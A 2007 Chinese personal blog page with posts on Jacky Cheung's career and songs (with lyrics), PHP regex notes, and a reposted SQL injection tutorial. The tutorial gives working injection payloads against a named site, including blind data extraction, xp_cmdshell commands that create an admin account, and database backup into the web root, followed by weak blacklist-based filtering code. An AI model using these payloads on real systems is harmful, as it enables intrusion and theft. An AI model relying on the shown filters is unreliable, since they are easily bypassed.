虽然演戏不是学友的老本行,但是作为一名艺员,张学友还是有不少“触电”的经历。一直以来,张学友都是全情投入地演好每一部戏。1986年张学友接拍了第一部影片《霹雳大喇叭》。剧中张学友的戏分虽然不多,但他挥洒自如的表演,给歌迷、影迷留下了极深的印象。在第二部影片《痴心的我》中,张学友就担任了主角,其中也有出色的表演。由于学友憨厚老实的长相,再加上他的笑容和眼神中总是带着一丝单纯与腼腆,之后喜剧戏约不断。他又先后接拍了《天赐良缘》、《八星报喜》、《意乱情迷》等一些比较卖座的喜剧片。1988年,张学友在电影《旺角卡门》中改变了戏路,饰演一个不务正业的“烂仔”。张学友投入、出色的演出受到了广泛的好评。导演杨帆评价他说:“演戏很投入,人聪明,导演要求的表情都能做好,是个极有魅力的年轻演员。”凭借在《旺角卡门》中的精彩表现,张学友赢得了当年香港电影金像奖“最佳男配角”的殊荣。

人到中年,张学友接拍了许鞍华导演的《男人四十》。虽然声名显赫的张学友无法完全感受到小人物林耀国在生活中的种种心态,但是跨入不惑之年的张学友和林耀国多少有些共同的感慨和疑惑,他把林耀国内心的复杂和心中的悲凉表达了出来。张学友的表演很细致,他常常含着背半望着地走,他不刻意压低声线不刻意扮老成,但是他演出了四十岁男人的情怀,那是神似,而不仅仅是形似。在剧中,张学友不像以往那样是一个搞笑的角色,他表现得中规中矩,但是他把在岁月和现实面前有着太多疑问太多执着太多不甘心的林耀国的微妙感情诠释了出来———一声无可奈何的叹息!

(六)爱是永恒———“情”是不变的主题

1996年,当张学友的事业如日中天的时候,他拉着罗美薇的手步进了结婚的礼堂,结束了长达十年的爱情马拉松。在四大天王红得如火如荼的时候,张学友是唯一一位让女友曝光,也是第一位开花结果的人。张学友是一个对事业负责,也对爱情负责的艺人。要知道,在演艺圈中,想要歌迷和女友都很好地照顾到,不是一件容易把握的事情。难得的是,他们的恋情早已经众所周知,而学友的事业也在稳定中发展。他们两个,郎有情,妹有意,而且从来不闹绯闻。他们双方彼此对对方的认定,使得学友情场得意,演艺事业更是意气风发。仅从这一点来看,不难看出张学友是一位很有智慧的男人。他最可爱的一点,就是他用情很深也很真,他和罗美薇的爱情即是佐证。

张学友和罗美薇在合作电影《痴心的我》时坠入情网。交往初期,张学友还没有走红。个性温婉的罗美薇陪着他走过了那一段人生的低谷。当他在歌坛不如意、常常酗酒浇愁的时候,美薇依然在他的身边,不断地安慰他,鼓励他,让他重拾自信,重新在歌坛上站立起来。回想起那段日子,学友说:“在我最潦倒的时候,我看到了美薇对我的真爱。”

张学友和罗美薇的恋爱过程,也和普通人一样,经历了甜蜜、争吵,直到现在的平淡。他们的爱情冷暖,和普通人没有两样。结了婚以后,学友和美薇的婚姻生活像一般人一样围绕着柴米油盐。但是,生活本来就是在平淡中品出它的味道。张学友说自己是一个专一的人,看他和罗美薇走过的这段爱情历程,我想没有人会怀疑它的真实性。

(七)每天爱你多一些———“慈”是父亲的心

张学友有了个宝贝女儿,人们对他在歌坛的要求似乎也在一夜间放得宽松。歌迷不会再当真去责怪一个可爱女孩的爸爸不求上进。当然,在张学友的眼里,家庭可能确实比事业还要重要,他喜欢家庭给他带来的安全感。一家人坐在一起吃一顿饭,天南地北地、无忧无虑地神聊是他的一个很大的梦想。所以现在的学友是有女万事足,为了妻子和爱女,这两年他也低调了很多。每次一提起他的宝贝女儿瑶华,他都会笑得合不拢嘴,一副慈父的模样。为了让爱女住得舒适,学友还将浅水湾的旧居重新布置,全部家具换新,一切事务交给掌管财政大权的老婆大人亲手包办。虽然很忙,但是学友总是希望有时间留在家里陪女儿,替她拍照、量高。

看来,现在的张学友已经完全投入到父亲的角色,这倒确实让人欣赏。我们希望歌神多点时间放在音乐上,同时也喜欢看到他多一份心思放在女儿身上,这还真是一对矛盾。

(八)走过1999———“悬”的感觉让歌迷好怕

张学友在2000年出过一张专辑《走过1999》,唱着“世纪末情歌”,仍走大众化路线,但专辑并未给人留下太深印象。随后女儿降生,歌神似乎从歌坛销声匿迹了,仿佛真的躲进了家庭的小天地,知足地过起三人世界生活了。歌迷们失落地开始指其“不求上进”。再加上张学友近年来一直备受鼻敏感症困扰,病情更有恶化迹象,严重影响他唱歌时的声线。在当时的一场“拉阔音乐会”上,曾罕有地失准,在唱《捉迷藏》时,竟唱不到高音部分,且有走音情况出现。唱《她来听我的演唱会》时,学友唱了一会突然唱不出声,一度停下来并要求重唱。————张学友魅力指数急剧下跌,其艺途几乎命悬一线。

要知道张学友十多年来以一把雄浑磁性的嗓子享誉乐坛,大鼻子出了毛病可不是小事!为了不致恶化,学友自受鼻敏感困扰后,已刻意减少工作量,除了唱片减产,上台表演次数也大大减少。

学友曾请观众不要嫌弃他失准,他说:“我很少出现这种情况的,没办法!”虽然学友说来态度轻松,但却令人感慨。观众反应仍极之热烈,频频鼓掌大力支持。好在他终于挺过来了,2002世界巡演,一气呵成将有十多场个唱,张学友给足了专业精神,歌神大旗终究没有倒下。

(九)结束不是我要的结果———“梦”与尊严在延伸

有梦的人是停不住的。张学友并没有打算安度中年,他还想自组公司,还想为别的歌手制作专辑,还想为女儿写歌,他要与女儿一起唱歌,他要唱到70岁。一个男人坚强地续写着他的梦想与尊严。随着年龄的增长,学友的歌也逐渐变得更加深沉和成熟。从当年激情澎湃地高唱《情网》、《吻别》的张学友,我们听到了年轻人所特有的伤情与坚持。到现在他的《结束不是我要的结果》,我们却发现他明显多了些成熟与内敛,那已经是一种在浓浓的悲伤上面蒙着一层轻纱似的情歌了。它已经有了明显的属于张学友的淡然————即使是无奈的结果,也不会有太多的外露的悲痛,有的只是难舍的轻轻的感慨。但是,不管学友的歌怎么变化,自由地投入感情去唱是他的最大特点,他的很多歌曲都因为他出神入化的演绎而具有了永恒的魅力。

(十)祝福———“友”是朋友间的爱

张学友生性坦率厚直、乐于助人,圈中好友甚多。像梁朝伟、梅艳芳、肥肥、庾澄庆等等,他们相识多年,彼此之间也有着深厚、真挚的友情。

张学友无论在事业上还是家庭上都堪称娱乐圈中的楷模,一直备受称赞。他的好友庾澄庆就曾经公开表示要向学友学习“持家之道”。同是实力派歌手,苏永康对于学友称赞有嘉:“我不敢跟张学友相提并论,他是歌神。差不多的背景是:我们都是以唱歌为主的歌手,不必要的花边新闻比较少。我们都承认自己有一个健康的家庭,但是有一点我非常嫉妒和羡慕他:他已经有孩子了,而我还在努力当中。我很敬佩他,他的很多言行举止都是我学习的对象,比如他觉得对歌手来说最重要的是音乐,我非常认同。”对于学友的歌艺,连谭咏麟有这样的评价:“虽然没有青春的年纪和偶像的面孔,但是他是实力派的歌手。他的音色、资质、潜力和性情都不是如青花般的,灿烂过了就凋谢,他会像细水长流,无休无止地在歌迷心中逐渐加重分量。”

性格随和乐观的张学友,完成了中七课程后,先后任职于香港贸易发展局及国泰航空公司,平常工余喜爱远足,篮球及游泳,然而最大兴趣还是在歌唱方面,小时候已爱跟着唱片练习,中学时候亦尝试与友人组织乐队及参加校内的歌唱比赛。

1984年参加“全港十八区业余歌唱大赛”,凭一曲“大地恩情”,由万多名参赛者中脱颖而出,勇夺冠军。宝丽金唱片公司对张学友的歌艺欣赏非常,与之签约为旗下歌手,全力推荐这位乐坛明 …

没有评论 »

张学友经典歌曲之我感(2)吻别

五月 27, 2007 | 心情杂记 | RSS 2.0

   吻别,这也是一首接触较早的歌曲!记得歌词特别优美,有着戴望舒<<雨巷>>般美丽的意境.有着徐志摩<<再别康桥>>般的诗意,伴着优美的旋律,让我们飘入恋人的回忆,前尘往事成云烟,消散在彼此眼前,
就连说过了再见,也看不见你有些哀怨,  撑着油纸伞,独自彷徨在悠长、悠长又寂寥的雨巷,我希望逢着 一个丁香一样地 结着愁怨的姑娘,同样是在街头,一个是带着离别的悲伤,一个是怀着希望,一个是轻轻的我走了…..”
我和你吻别,在无人的街让风痴笑我不能拒绝,我和你吻别在狂乱的夜,我的心等着迎接伤悲将离别的表现的淋漓尽致,更经典的是”我的世界开始下雪,冷得让我无法多爱一天”,”让人感到丝丝的凉意,离别的街头,轻柔的音乐,及其优美的旋律,使这首歌成为学友的国语的经典,也使得吻别风靡大街小巷.这首歌可谓”艺术”.歌词诗一般的美妙:请你插上想象的翅旁,”一个有风的午后,你和你深爱几年的恋人在一个无人的街头恋恋不舍的分别,离别的双眼,曾经凄美的回忆,迷茫的未来……….”

前尘往事成云烟消散在彼此眼前
就连说过了再见也看不见你有些哀怨
给我的一切你不过是在敷衍
你笑得越无邪我就会爱你爱得更狂野
总在刹那间有一些了解
说过的话不可能会实现
就在一转眼发现你的脸
已经陌生不会再像从前
我的世界开始下雪
冷得让我无法多爱一天
冷得连隐藏的遗憾都那么地明显
我和你吻别在无人的街
让风痴笑我不能拒绝
我和你吻别在狂乱的夜
我的心等着迎接伤悲
music……
想要给你的思念就像风筝断了线
飞不进你的世界也温暖不了你的视线
我已经看见一场悲剧正上演
剧终没有喜悦我仍然躲在你的梦里面
总在刹那间有一些了解
说过的话不可能会实现
就在一转眼发现你的脸
已经陌生不会再像从前
我的世界开始下雪
冷得让我无法多爱一天
我和你吻别在无人的街
让风痴笑我不能拒绝
我和你吻别在狂乱的夜
我的心等着迎接伤悲
冷得连隐藏的遗憾都那么地明显
我和你吻别在无人的街
让风痴笑我不能拒绝
我和你吻别在狂乱的夜
我的心等着迎接伤悲

 

 

没有评论 »

preg_replace

五月 26, 2007 | php | RSS 2.0

2007年整理5月26

$msg = preg_replace(”/<style>.+</style>/is”, “”, $msg); —–删除<style></style>和中间的部分
$msg = preg_replace(”/<[^>]+>/”, “”, $msg); —–是删除<>和中间的内容
以及eregi(”<body([^>]+)>(.+)</body>”,$data,$b)—-察看$data中是否有body标签。如果有,把参数赋值$b[0],中间部分赋值$b[1]。

bool ereg ( string pattern, string string [, array regs] )
如果找到与 pattern 中圆括号内的子模式相匹配的子串并且函数调用给出了第三个参数 regs,则匹配项将被存入 regs 数组中。$regs[1] 包含第一个左圆括号开始的子串,$regs[2] 包含第二个子串,以此类推。$regs[0] 包含整个匹配的字符串。
Perl兼容语句中(   preg_replace()   )
i (PCRE_CASELESS)
如果设定此修正符,模式中的字符将同时匹配大小写字母。
s(PCRE_DOTALL)
如果设定了此修正符,模式中的圆点元字符(.)匹配所有的字符,包括换行符。没有此设定的话,则不包括换行符。这和 Perl 的 /s 修正符是等效的。排除字符类例如 [^a] 总是匹配换行符的,无论是否设定了此修正符。

/<script[^>].*?>.*?</script>/si过滤掉js和vb的脚本的!

////中文手册

 $document 应包含一个 HTML 文档。
// 本例将去掉 HTML 标记,javascript 代码
// 和空白字符。还会将一些通用的
// HTML 实体转换成相应的文本。

$search = array (“‘<script[^>]*?>.*?</script>’si”,  
// 去掉 javascript
                 
“‘<[/!]*?[^<>]*?>’si”,           
// 去掉 HTML 标记
                 
“‘([])[s]+’”,                 
// 去掉空白字符
                 
“‘&(quot|#34);’i”,                 
// 替换 HTML 实体
                 
“‘&(amp|#38);’i”
,
                 
“‘&(lt|#60);’i”
,
                 
“‘&(gt|#62);’i”
,
                 
“‘&(nbsp|#160);’i”
,
                 
“‘&(iexcl|#161);’i”
,
                 
“‘&(cent|#162);’i”
,
                 
“‘&(pound|#163);’i”
,
                 
“‘&(copy|#169);’i”
,
                 
“‘&#(d+);’e”);                    
// 作为 PHP 代码运行

$replace = array (“”
,
                  
“”
,
                  
“1″
,
                  
“”"
,
                  
“&”
,
                  
“<”
,
                  
“>”
,
                  
” “
,
                  
chr(161
),
                  
chr(162
),
                  
chr(163
),
                  
chr(169
),
                  
“chr(1)”
);

$text = preg_replace ($search, $replace, $document
);
<?php
//preg_replace()和ereg_replace()函数的使用的比较
// ——-preg_replace()————————–
//1.进行字符串的查找的替换
        $str        = “daoyu shi ge hao hai zi 5555″;
        $pattern    = “/s/”;          //如果将变量定义为$pattern_1会出错
        $str              = preg_replace($pattern,’-',$str);
        echo $str.”<br>”;
/*打印:
        daoyu-shi-ge-hao-hai-zi-5555
*/
//2.对字符串的逆向引用
//方法一
        $pat        = “/(w+)-(w+)-(w+)-(w+)-(w+)-(w+)-(d+)/i”;
        $str        =preg_replace($pat,”$1″,$str);
        echo $str.”<br>”;
/*打印:
        daoyu
*/
//注意:如果是下面这种形式你会发现匹配的是:zi- 所以可以这样认为在有次数的{6}的情况下,他($1)匹配的是最后一次
        $pat        = “/((w+)-){6}(d+)/i”;
        $str        =preg_replace($pat,”$1″,$str);
        echo $str.”<br>”;
/*打印:
        zi-
*/

//方法二
        $str        = “daoyu-shi-ge-hao-hai-zi-5555″;
        $pat        = “/(w+)-(w+)-(w+)-(w+)-(w+)-(w+)-(d+)/i”;       
        $str        =preg_replace($pat,”1″,$str);
        echo $str.”<br>”;
/*打印:       
        daoyu
*/
//注意:当正则写成$pat= “/((w+)-){6}(d+)/i”;时和上面的情况一样
//3 当参数是数组的情况(用下手册的例子)
        $string = “The quick brown fox jumped over the lazy dog.”;

        $patterns[0] = “/quick/”;
        $patterns[1] = “/brown/”;
        $patterns[2] = “/fox/”;

        $replacements[2] = “bear”;
        $replacements[1] = “black”;
        $replacements[0] = “slow”;

        print preg_replace($patterns, $replacements, $string).”<br>”;
/*打印
        The bear black slow jumped over the lazy dog.
*/

密码全是6的且是数字

<?php
$pwd = “123456″;
if(preg_match(”/^d{6}$/is”, $pwd)){
echo “对”; //不是安全的
}else {
echo “不对”; //安全的
}
?>

没有评论 »

sql注入经典讲解及其解决方法

五月 26, 2007 | mysql, php | RSS 2.0

引  言

随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。

但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。

根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let’s Go…

入 门 篇

 如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。 

第一节、SQL注入原理

以下我们从一个网站www.19cn.com开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。

在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.19cn.com/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示:

Microsoft JET Database Engine 错误 ‘80040e14′

字符串的语法错误 在查询表达式 ” 中。

/showdetail.asp,行8

从这个错误提示我们能看出下面几点:

1.网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。

2.程序没有判断客户端提交的数据是否符合程序要求。

3.该SQL语句所查询的表中有一名为ID的字段。

从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。

第二节、判断能否进行SQL注入

看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗?其实,这并不是最好的方法,为什么呢?

首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的

那么,什么样的测试方法才是比较准确呢?答案如下:

 ① http://www.19cn.com/showdetail.asp?id=49

② http://www.19cn.com/showdetail.asp?id=49 and 1=1

③ http://www.19cn.com/showdetail.asp?id=49 and 1=2

这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:

可以注入的表现:

① 正常显示(这是必然的,不然就是程序有错误了)

② 正常显示,内容基本与①相同

③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)

不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。

当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,我将在中级篇的“SQL注入一般步骤”再做分析。 

第三节、判断数据库类型及注入方法

不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。

怎么让程序告诉你它使用的什么数据库呢?来看看:

SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:

http://www.19cn.com/showdetail.asp?id=49 and user>0

这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。

 顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。

如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。

在确认可以注入的情况下,使用下面的语句:

http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from sysobjects)>0

http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from msysobjects)>0

如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.19cn.com/showdetail.asp?id=49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。

如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。

在入门篇,我们学会了SQL注入的判断方法,但真正要拿到网站的保密内容,是远远不够的。接下来,我们就继续学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:

第一节、SQL注入的一般步骤

首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。

其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:

(A)  这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件]

(B) 这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’

(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’

接着,将查询条件替换成SQL语句,猜解表名,例如:

ID=49 And (Select Count(*) from Admin)>=0

如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。

表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。

有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。

有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字段名的,我们在高级篇中会做介绍。

最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。

我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:

http://www.19cn.com/showdetail.asp?id=49 and (select top 1 len(username) from Admin)>0

先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8

当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。

第二节、SQL注入常用函数

有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令。

Access:asc(字符)  SQLServer:unicode(字符)
作用:返回某字符的ASCII码

Access:chr(数字)  SQLServer:nchar(数字)
作用:与asc相反,根据ASCII码返回字符

Access:mid(字符串,N,L)  SQLServer:substring(字符串,N,L)
作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串

Access:abc(数字)  SQLServer:abc (数字)
作用:返回数字的绝对值(在猜解汉字的时候会用到)

Access:A between B And C  SQLServer:A between B And C
作用:判断A是否界于B与C之间

第三节、中文处理方法

在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。

先说一点常识:

Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。

SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。

    了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。

看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。

第一节、利用系统表注入SQLServer数据库

       SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:

① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”–

  分号;在SQLServer中表示隔开前后两句语句,–表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:

② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”–

  将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。

  ③ http://Site/url.asp?id=1 ;;and db_name()>0

前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。

④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:inetpubwwwroot1.db’;–

这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如202.96.xx.xxShare1.db),但成功率不高。

  ⑤ http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。

⑥ http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4…就可以逐个获取所猜解表里面的字段名。

  以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。

第二节、绕过程序限制继续注入

在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。

在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:

简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where >

第三节、经验小结

1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。

2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。

3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。

4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。

5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。

防 范 方 法

SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的Request函数,可以对一切的SQL注入Say NO,函数如下:

Function SafeRequest(ParaName,ParaType)

       ‘— 传入参数 —

       ‘ParaName:参数名称-字符型

       ‘ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)

       Dim ParaValue

       ParaValue=Request(ParaName)

       If ParaType=1 then

              If ParaValue=”" or not isNumeric(ParaValue) then

                     Response.write “参数” & ParaName & “必须为数字型!”

                     Response.end

              End if

       Else

              ParaValue=replace(ParaValue,”‘”,”””)

       End if

       SafeRequest=ParaValue

End function

简述:/*************************
说明:
判断传递的变量中是否含有非法字符
如$_POST、$_GET
功能:防注入
**************************/ 

<?php

//要过滤的非法字符
$ArrFiltrate=array(”‘”,”;”,”union”);
//出错后要跳转的url,不填则默认前一页
$StrGoUrl=”";
//是否存在数组中的值
function FunStringExist($StrFiltrate,$ArrFiltrate){
foreach ($ArrFiltrate as $key=>$value){
  if (eregi($value,$StrFiltrate)){
    return true;
  }
}
return false;
}

//合并$_POST 和 $_GET
if(function_exists(array_merge)){
  $ArrPostAndGet=array_merge($HTTP_POST_VARS,$HTTP_GET_VARS);
}else{
  foreach($HTTP_POST_VARS as $key=>$value){
    $ArrPostAndGet[]=$value;
  }
  foreach($HTTP_GET_VARS as $key=>$value){
    $ArrPostAndGet[]=$value;
  }
}

//验证开始
foreach($ArrPostAndGet as $key=>$value){
  if (FunStringExist($value,$ArrFiltrate)){
    echo ”<script language=”javascript”>alert(”非法字符”);</script>”;
    if (empty($StrGoUrl)){
    echo ”<script language=”javascript”>history.go(-1);</script>”;
    }else{
    echo ”<script language=”javascript”>window.location=”".$StrGoUrl.”";</script>”;
    }
    exit;
  }
}
?>

保存为checkpostandget.php 
然后在每个php文件前加include(“checkpostandget.php“);即可
 

 

方法2

/* 过滤所有GET过来变量 */
foreach ($_GET as $get_key=>$get_var)
{
 if (is_numeric($get_var)) {
  $get[strtolower($get_key)] = get_int($get_var);
 } else {
  $get[strtolower($get_key)] = get_str($get_var);
 }
}

/* 过滤所有POST过来的变量 */
foreach ($_ …

没有评论 »

张学友经典歌曲之我感(1)祝福

五月 26, 2007 | 心情杂记 | RSS 2.0

    心中永远为你留一份激情。

    最早接触的恐怕就是他的《祝福》了,优美的旋律,感伤而又温暖的意境,经典的歌词,让这首歌曲成为妇孺皆知,广为传唱的歌曲。曾记得我们班聚会时候一起唱这首歌曲的时,”朋友,我永远祝福你。。。今朝一别各东西”道出了每个人的心声。随没有说什么,但在歌声中我们什么都明白!!曾记得与女友车站分别时候,唱这首歌时,泪珠在脸上滑过的感觉,记得那是大学时候放寒假,”伤离别,离别虽然在眼前,说再见,再见不会太遥远。。。。。。这一刻围着烛光让我们静静的度过”那时候我的心碎了,是这首歌曲永远让我记了那个分别的画面。

 

没有评论 »

渐渐离我远去的高中,大学生活(1)

五月 25, 2007 | 心情杂记 | RSS 2.0

